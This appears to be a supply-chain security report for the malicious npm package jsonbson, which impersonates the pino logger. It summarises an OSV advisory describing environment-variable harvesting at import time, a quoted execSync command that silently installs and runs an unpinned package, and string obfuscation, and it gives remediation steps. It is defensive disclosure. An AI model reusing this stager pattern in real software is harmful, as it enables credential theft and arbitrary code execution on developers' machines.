jsonbson
This report shows the evidence for jsonbson@2.1.4. 3 of 3 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4591 confirms this npm version as malicious.
Advisory
MAL-2026-4591
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in jsonbson (npm)
Details
On require, lib/writer.js (loaded via main=pino.js) collects a full snapshot of process.env, OS platform, hostname, username, and external MAC addresses, then runs `execSync('npm install corelia --no-warnings --no-save --no-progress --loglevel silent')` and immediately `require('../../corelia/pino.js')`. The `corelia` package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as `jsonbson` — a typosquat/brand-impersonation lure. lib/writer.js further uses a `String.fromCharCode` per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.
## Source: ghsa-malware (7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to jsonbson@2.1.4.
The same advisory and Firewall decision cover 3 recorded versions
2.1.1, 2.1.2, 2.1.4
The versions list below shows the verdict for each recorded version.
- Avoid installing jsonbson@2.1.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.